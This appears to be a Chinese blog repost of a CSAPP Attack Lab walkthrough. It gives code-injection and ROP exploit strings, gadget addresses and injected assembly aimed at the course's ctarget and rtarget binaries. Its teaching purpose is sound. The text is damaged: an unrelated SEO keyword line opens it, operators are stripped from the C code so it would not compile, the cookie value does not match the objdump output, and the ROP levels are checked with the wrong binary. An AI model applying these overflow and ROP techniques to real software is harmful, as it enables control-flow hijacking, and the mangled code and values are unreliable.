延安市违法建设举报网站,如何自己做公司网页,企业年金怎么缴纳,wordpress主要插件关注公号【逆向通信猿】更精彩#xff01;#xff01;#xff01;
原文地址#xff1a;https://www.jianshu.com/p/db731ca57342
本文介绍的是CSAPP书籍中的第三个lab: Attack lab。通过这个lab我们能够更加清楚和深入的了解到缓冲区溢出的隐患#xff0c;以及如何利用缓…关注公号【逆向通信猿】更精彩
原文地址https://www.jianshu.com/p/db731ca57342
本文介绍的是CSAPP书籍中的第三个lab: Attack lab。通过这个lab我们能够更加清楚和深入的了解到缓冲区溢出的隐患以及如何利用缓冲区溢出这个漏洞对现有程序进行控制流劫持执行非法程序代码和对程序进行攻击以及破坏。
现在让我来揭开这个lab的每一层面纱:
Prerequire
1阅读《深入理解计算机系统》的3.10.2~3.10.5 2仔细阅读Attack lab的writeup 3熟练掌握gdb的使用请参考gdb cheat sheet 4熟练x86-64下汇编的使用详细请参考x64 cheat sheet
当然除了上面所必须了解的知识之外我还建议大家看看cmu公开课Introducation to Computer System中的Recitation 5: Attack lab and Stack。一开始拿到这个lab的时候我是对于这个lab如何下手并不是很明确看完这个Recitation才比较明白了如何做。
知识预热
C语言中对于数组的引用不进行任何边界检查而且局部变量和状态信息如保存的寄存器值和返回地址都存放在栈中。当对越界的数组元素的写操作时则会破坏存储在栈中的状态信息。一种常见的破坏就是缓冲区溢出。通常在栈中分配某个字符数组保存一个字符串但是字符串的长度超出了为数组分配的空间。
程序示例
/** echo.c 参照书籍中的代码*/#include stdio.h
#include stdlib.hvoid explosion(){printf(!!!You touch the explosion);exit(0);
}/* Implementation of library function gets() */
char *custom_gets(char *s){int c;char *dest s;while((c getchar()) ! \n c ! EOF)*dest c;if(c EOF dest s)/* No characters read */return NULL;*dest \0; /* Terminate string */return s;
}/** Read input line and write it back */
void echo(){char buf[8];custom_gets(buf);puts(buf);
}int main(int argc, char* argv[]){echo();return 0;
}gets的问题是它没有办法为确保整个字符串分配了足够的空间。在echo示例中我们故意将缓冲区设的非常小–只有8字节。任何长度超过7个字符的字符串都会导致写越界。
检查GCC为echo 产生的汇编代码看看栈是如何组织的
使用如下命令可以从c源文件生成汇编代码
linux gcc -fno-asynchronous-unwind-tables -fno-stack-protector -O1 -S echo.c-fno-asynchronous-unwind-tables选项是用来不生成CFI指令-fno-stack-protector选项阻止进行栈破坏检测默认是允许使用栈保护者-O1 不做任何优化处理-S 生成汇编代码即结束
/** void echo() */
echo:subq $24, %rspmovq %rsp, %rdicall custom_getsmovq %rsp, %rdicall putsaddq $24, %rspret从汇编代码中可以看出该程序在栈上为字符数组分配了24个字节。所以用户定义的字符数组为8个字节意味着即使用户输入超过8个字节也不一定会对栈的状态信息造成破坏。但是如果用户输入超过23个字节则会将echo的返回地址给破坏这就是缓冲区溢出漏洞。 准备工作
从csapp的student site中下载下来整个lab,并且解压整个文件可利用如下命令
wget http://csapp.cs.cmu.edu/3e/target1.tar
tar -xvf target1.tar大致浏览一下整个lab的目录一共6个文件
cookie.txt 一个8为16进行数作为攻击的特殊标志符farm.c 在ROP攻击中作为gadgets的产生源ctarget 代码注入攻击的目标文件rtarget ROP攻击的目标文件hex2row 将16进制数转化为攻击字符因为有些字符在屏幕上面无法输入所以输入该字符的16进制数自动转化为该字符
代码注入攻击
level 1
对于第一阶段我们并不需要进行代码注入我们需要做的就是劫持程序流将函数的正常返回地址给重写将函数重定向到我们指定的特定函数。在这个阶段中我们要重定向到touch1函数。
解题思路
找到程序在栈为输入字符串分配了多大的空间找到touch1函数的起始地址将栈上分配的空间填满并且在下8个字节也就原先正常的返回地址上填上touch1函数的地址
ctarget 的正常流程如下
void test()
{int val;val getbuf();printf(No exploit. Getbuf returned 0x%x\n, val);
}正常的流程是调用getbuf然后从屏幕中输入字符串如果正常退出的话则会执行第5行代码。
void touch1() {vlevel 1;printf(Touch!: You called touch1()\n);validate(1);exit(0);
}现在的流程是调用getbuf,从屏幕输入字符串然后程序返回到touch1.
(1) 利用gdb 调试ctarget找到我们需要的信息
linux gdb ctarget(2) 反汇编getbuf函数找到实际在栈上分配了多少字节
(gdb) disas getbuf0x00000000004017a8 0: sub $0x28,%rsp0x00000000004017ac 4: mov %rsp,%rdi0x00000000004017af 7: callq 0x401a40 Gets0x00000000004017b4 12: mov $0x1,%eax0x00000000004017b9 17: add $0x28,%rsp0x00000000004017bd 21: retq从第一行sub $0x28, %rsp中显示在栈上为buf提供了0x28也就是40个字节的空间
3反汇编touch1函数找到touch1函数的起始地址
(gdb) disas touch10x00000000004017c0 0: sub $0x8,%rsp0x00000000004017c4 4: movl $0x1,0x202d0e(%rip)0x00000000004017ce 14: mov $0x4030c5,%edi0x00000000004017d3 19: callq 0x400cc0 putsplt0x00000000004017d8 24: mov $0x1,%edi0x00000000004017dd 29: callq 0x401c8d validate0x00000000004017e2 34: mov $0x0,%edi0x00000000004017e7 39: callq 0x400e40 exitplt从第一行中看出touch1的返回地址是0x00000000004017c0
以上我们已经到了我们需要的所有关键信息现在构建我们输入字符首先填充栈可以使用任意字符这里我使用的是16进制的0x00填充然后填充touch1地址最后得到是如下结果
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 ----- touch1的起始地址注意的是字节序的问题大部分电脑应该都是little-endian字节序即低位在低地址高位在高地址。 使用如下命令进行结果验证
linux ./hex2raw -i solutions/level1.txt | ./ctarget -qlevel 2
第二阶段我们需要做的就是在输入字符串中注入一小段代码。其实整体的流程还是getbuf中输入字符然后拦截程序流跳转到调用touch2函数。首先我们先查看一遍touch2函数所做事情
void touch2(unsigned val){vlevel 2;if (val cookie){printf(Touch2!: You called touch2(0x%.8x)\n, val);validate(2);} else {printf(Misfire: You called touch2(0x%.8x)\n, val);fail(2);}exit(0);
}这段程序就是验证传进来的参数val是否和cookie中值相等。本文中我的cookie值为0x59b997fa
解题思路
将正常的返回地址设置为你注入代码的地址本次注入直接在栈顶注入所以即返回地址设置为%rsp的地址将cookie值移入到%rdi%rdi是函数调用的第一个参数获取touch2的起始地址想要调用touch2而又不能直接使用call,jmp等指令所以只能使用ret改变当前指令寄存器的指向地址。ret是从栈上弹出返回地址所以在次之前必须先将touch2的地址压栈
综上所述可以得到注入的代码为
/** inject.s */ 注入的代码
movq $0x59b997fa, %rdi
pushq 0x4017ec
ret我们需要将上述的汇编代码转化为计算机可以执行的指令序列执行下列命令
linux gcc -c inject.s
linux objdump -d inject.oDisassembly of section .text:0000000000000000 .text:0: 48 c7 c7 fa 97 69 59 mov $0x596997fa,%rdi7: 68 ec 17 40 00 pushq $0x4017ecc: c3 retq可以得到这三条指令序列如下
48 c7 c7 fa 97 69 59 68 ec 17 40 00 c3接下来就是寻找%rsp的地址利用gdb进行调试获取我们需要的信息
linux gdb ctarget(gdb) break getbuf
(gdb) run -q
(gdb) disas0x00000000004017a8 0: sub $0x28,%rsp0x00000000004017ac 4: mov %rsp,%rdi0x00000000004017af 7: callq 0x401a40 Gets0x00000000004017b4 12: mov $0x1,%eax0x00000000004017b9 17: add $0x28,%rsp0x00000000004017bd 21: retq(gdb) stepi
(gdb) p /x $rsp
$1 0x5561dc78如上所示我们获取到了%rsp的地址结合上文所讲可以构造出如下字符串在栈的开始位置为注入代码的指令序列然后填充满至40个字节在接下来的8个字节也就是原来的返回地址填充成注入代码的起始地址也就是%rsp的地址可以得到如下字符串
48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 --- 注入代码的起始地址使用如下命令进行结果验证
linux ./hex2raw -i solutions/level2.txt | ./ctarget -qlevel 3
第三阶段也是需要在输入的字符串中注入一段代码但是不同于第二阶段的是在这一阶段中我们需要传递字符串作为参数。
在这一段中我们需要劫持控制流在正常返回的时候跳转到touch3函数其中touch3函数的代码如下
void touch3(char *sval){vlevel 3;if (hexmatch(cookie, sval)){printf(Touch3!: You called touch3(\%s\)\n, sval);validate(3);} else {printf(Misfire: You called touch3(\%s\)\n, sval);fail(3);}exit(0);
}在touch3函数中调用了hexmatch函数这个函数的功能是匹配cookie和传进来的字符是否匹配。在本文中cookie的值是0x59b997fa所以我们传进去的参数应该是59b997fa。
int hexmatch(unsigned val, char *sval){char cbuf[110];char *s cbuf random() % 100;sprintf(s, %.8x, val);return strncmp(sval, s, 9) 0;
}Some Advice
在C语言中字符串是以\0结尾所以在字符串序列的结尾是一个字节0 man ascii 可以用来查看每个字符的16进制表示 当调用hexmatch和strncmp时他们会把数据压入到栈中有可能会覆盖getbuf栈帧的数据所以传进去字符串的位置必须小心谨慎。 对于传进去字符串的位置如果放在getbuf栈中因为
char *s cbuf random() % 100;s的位置是随机的所以之前留在getbuf中的数据则有可能被hexmatch所重写所以放在getbuf中并不安全。为了安全起见我们把字符串放在getbuf的父栈帧中也就是test栈帧中。
解题思路
将cookie字符串转化为16进制将字符串的地址传送到%rdi中和第二阶段一样想要调用touch3函数则先将touch3函数的地址压栈然后调用ret指令。
综上所述可以得到注入的代码为
/** inject.s */ 注入的代码
movq $0x5561dca8, %rdi
pushq 0x4018fa
ret我们需要将上述的汇编代码转化为计算机可以执行的指令序列执行下列命令
linux gcc -c inject.s
linux objdump -d inject.oDisassembly of section .text:0000000000000000 .text:0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi7: 68 fa 18 40 00 pushq $0x4018fac: c3 retq可以得到这三条指令序列如下
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3使用man ascii命令可以得到cookie的16进制数表示:
35 39 62 39 39 37 66 61 00根据上述我们可以得到最后输入字符的序列如下
48 c7 c7 a8 dc 61 55 68 fa 18
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 35 39
62 39 39 37 66 61 00使用如下命令进行结果验证
linux ./hex2raw -i solutions/level3.txt | ./ctarget -qROP攻击
缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制以避免遭受这样的攻击限制入侵者通过缓冲区溢出攻击获得系统控制的方式。
1栈随机化
栈随机化的思想使得栈的位置在程序每次运行时都有变化。因此即使许多机器都运行同样的代码它们的栈地址都是不同的。上述3个阶段中栈的地址是固定的所以我们可以获取到栈的地址并跳转到栈的指定位置。
2栈破坏检测
最近的GCC版本在产生的代码加入了一种栈保护者机制来检测缓冲区越界。其思想是在栈帧中任何局部缓冲区和栈状态之间存储一个特殊的金丝雀值。在恢复寄存器状态和从函数返回之前程序检查这个金丝雀值是否被该函数的某个操作或者该函数调用的某个操作改变了。如果是的那么程序异常中止。
3限制可执行代码区域
最后一招是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。
在ROP攻击中因为栈上限制了不可插入可执行代码所以不能像上述第二、第三阶段中插入代码。所以我们需要在已经存在的程序中找到特定的指令序列并且这些指令是以ret结尾这一段指令序列我们称之为gadget。 每一段gadget包含一系列指令字节而且以ret结尾跳转到下一个gadget就这样连续的执行一系列的指令代码对程序造成攻击。
示例
void setval_210(unsigned *p)
{*p 3347663060U;
}对于上述代码进行反汇编我们可以得到如下的执行序列从中我们一个得到一个有趣指令序列:
0000000000400f15 setval_210:400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)400f1b: c3 retq其中字节序列48 89 c7是对指令movq %rax, %rdi的编码就这样我们可以利用已经存在的程序从中提取出特定的指令,执行特定的功能地址为0x400f18其功能是将%rax的内容移到%rdi。
指令的编码如下所示
level 2
在这一阶段中我们其实是重复代码注入攻击中第二阶段的任务劫持程序流返回到touch2函数。只不过这个我们要做的是ROP攻击这一阶段我们无法再像上一阶段中将指令序列放入到栈中所以我们需要到现有的程序中找到我们需要的指令序列。
我们需要的代码序列如下
popq %rax
movq %rax, %rdipopq %rax的指令字节为58所以我们找到了如下函数
00000000004019a7 addval_219:4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax4019ad: c3 从中我们可以得出popq %rax指令的地址为0x4019ab
movq %rax, %rdi的指令字节为48 89 c7所以我们找到了如下函数
00000000004019a0 addval_273:4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax4019a6: c3 从中我们可以得出movq %rax, %rdi指令的地址为0x4019a2 综合上面所述我们可以得到如下所述的字符串
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00使用如下命令进行结果验证
linux ./hex2raw -i solutions/level4.txt | ./ctarget -qlevel 3
在这一阶段中我们需要做的就是把字符串的起始地址传送到%rdi,然后调用touch3函数。
因为每次栈的位置是随机的所以无法直接用地址来索引字符串的起始地址只能用栈顶地址 偏移量来索引字符串的起始地址。从farm中我们可以获取到这样一个gadgetlea (%rdi,%rsi,1),%rax这样就可以把字符串的首地址传送到%rax。
解题思路
1首先获取到%rsp的地址并且传送到%rdi 2其二获取到字符串的偏移量值并且传送到%rsi 3lea (%rdi,%rsi,1),%rax, 将字符串的首地址传送到%rax, 再传送到%rdi 4调用touch3函数
(1) 第一步获取到%rsp的地址
0000000000401a03 addval_190:401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax401a09: c3 movq %rsp, %rax的指令字节为48 89 e0, 所以这一步的gadget地址为0x401a06
(2) 第二步将%rax的内容传送到%rdi
00000000004019a0 addval_273:4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax4019a6: c3movq %rax, %rdi的指令字节为48 89 c7所以这一步的gadget地址为0x4019a2
(3) 第三步将偏移量的内容弹出到%rax
00000000004019ca getval_280:4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax4019cf: c3 popq %rax的指令字节为58 其中90为nop指令, 所以这一步的gadget地址为0x4019cc
(4) 第四步将%eax的内容传送到%edx
00000000004019db getval_481:4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax4019e0: c3 movl %eax, %edx的指令字节为:89 c2, 所以这一步的gadget地址为0x4019dd
(5) 第五步将%edx的内容传送到%ecx
0000000000401a6e setval_167:401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)401a74: c3 movl %edx, %ecx的指令字节为89 d1所以这一步的gadget地址为0x401a70
(6) 第六步将%ecx的内容传送到%esi
0000000000401a11 addval_436:401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax401a17: c3 retq movl %ecx, %esi的指令字节为89 ce, 所以这一步gadget地址为0x401a13
(7) 第七步将栈顶 偏移量得到字符串的首地址传送到%rax
00000000004019d6 add_xy:4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax4019da: c3 retq 这一步的gadget地址为0x4019d6
(8) 将字符串首地址%rax传送到%rdi
00000000004019a0 addval_273:4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax4019a6: c3movq %rax, %rdi的指令字节为48 89 c7所以这一步的gadget地址为0x4019a2
整个栈的结构如下 综上所述我们可以得到字符串首地址和返回地址之前隔了9条指令所以偏移量为72个字节也就是0x48可以的到如下字符串的输入
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00使用如下命令进行结果验证
linux ./hex2raw -i solutions/level5.txt | ./ctarget -q总结
在做完整个lab下来感觉真的受益良多对于栈的理解有了更加深层的理解对于缓冲区溢出也是更深入的了解对于以后编写更加安全的代码能够更加关注这一点。
能够站在更加底层的方面审视代码才能够更深刻的理解代码的原理。